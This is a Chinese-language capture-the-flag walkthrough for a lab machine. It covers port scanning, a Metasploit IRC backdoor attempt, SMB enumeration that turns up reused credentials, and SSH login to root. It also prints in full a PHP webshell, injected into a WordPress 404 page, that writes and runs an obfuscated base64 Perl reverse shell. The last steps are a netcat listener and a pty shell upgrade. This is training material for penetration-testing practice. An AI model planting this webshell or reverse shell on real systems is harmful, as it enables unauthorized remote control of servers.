kali:192.168.0.110
靶机:192.168.0.108
本次两台虚拟机都采用桥接模式,保证在同一局域网内。
1.主机发现
1.1查看kali的IP地址:ifconfig
1.2扫描网段:nmap -sn 192.168.0.0/24
2.端口扫描
查看该靶机开放了哪些端口:nmap -sS -Pn 192.168.0.108
3.端口上对应的服务信息
nmap -sV -O 192.168.0.108
4.对web服务器进行探测(80端口)
4.1 法一:dirb http://192.168.0.108
法二:nikto -host 192.168.0.108
4.2分别访问三个网址,看看有没有可利用的。
http://192.168.0.108/wordpress/
http://192.168.0.108/phpadmin/
http://192.168.0.108/wordpress/wp-login.php
对WordPress的后台进行一些弱口令的测试
发现用户名就是admin,但是需要密码。暂时先放一放。
5.对irc协议进行探测(6667端口)
使用msf,利用irc的后门漏洞
5.1 msfconsole
5.2 搜索irc漏洞:search ircd
5.3 利用漏洞:use exploit/unix/irc/unreal_ircd_3281_backdoor
5.4 查看所需参数:show options
5.5 设置参数(参数为靶机地址):set RHOST 192.168.0.108,然后直接执行,可以用run也可以用exploit
但是该漏洞利用失败。另寻方法。
6.对Smb服务器进行探测(445端口)
6.1smb服务器可以进行枚举:enum4linux -S 192.168.0.108
发现三个目录
6.2远程连接
6.3对里面的文件进行搜查
deets.txt文件
Wp-config.php 里面定义了一些账号密码,看到Admin,让我想起了WordPress后台,这是可能是后台或者数据库的账号密码。
7.登录ssh服务器(22端口)
7.1用刚才记下的用户名和密码,togie和12345尝试登录一下
7.2提权
没想到root的密码居然也是12345,提权成功。
7.3进入root目录获取flag
8.登录WordPress后台,利用反弹shel,获取flag
8.1利用刚刚查到的账号密码登录,后台网址是http://192.168.0.108/wordpress/wp-login.php
8.2.在404报错页面注入webshell
8.3webshell源码
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while([email protected]($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if([email protected]($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
8.4开启监听
nc -lvnp 4444
然后随意访问不存在的网页(404页面),获取反弹shell
8.5获取完整shell权限
python -c 'import pty;pty.spawn("/bin/bash")';
8.6提权
8.7进入root目录,获取flag
一共用了两种方法,最终都可以获取到flag。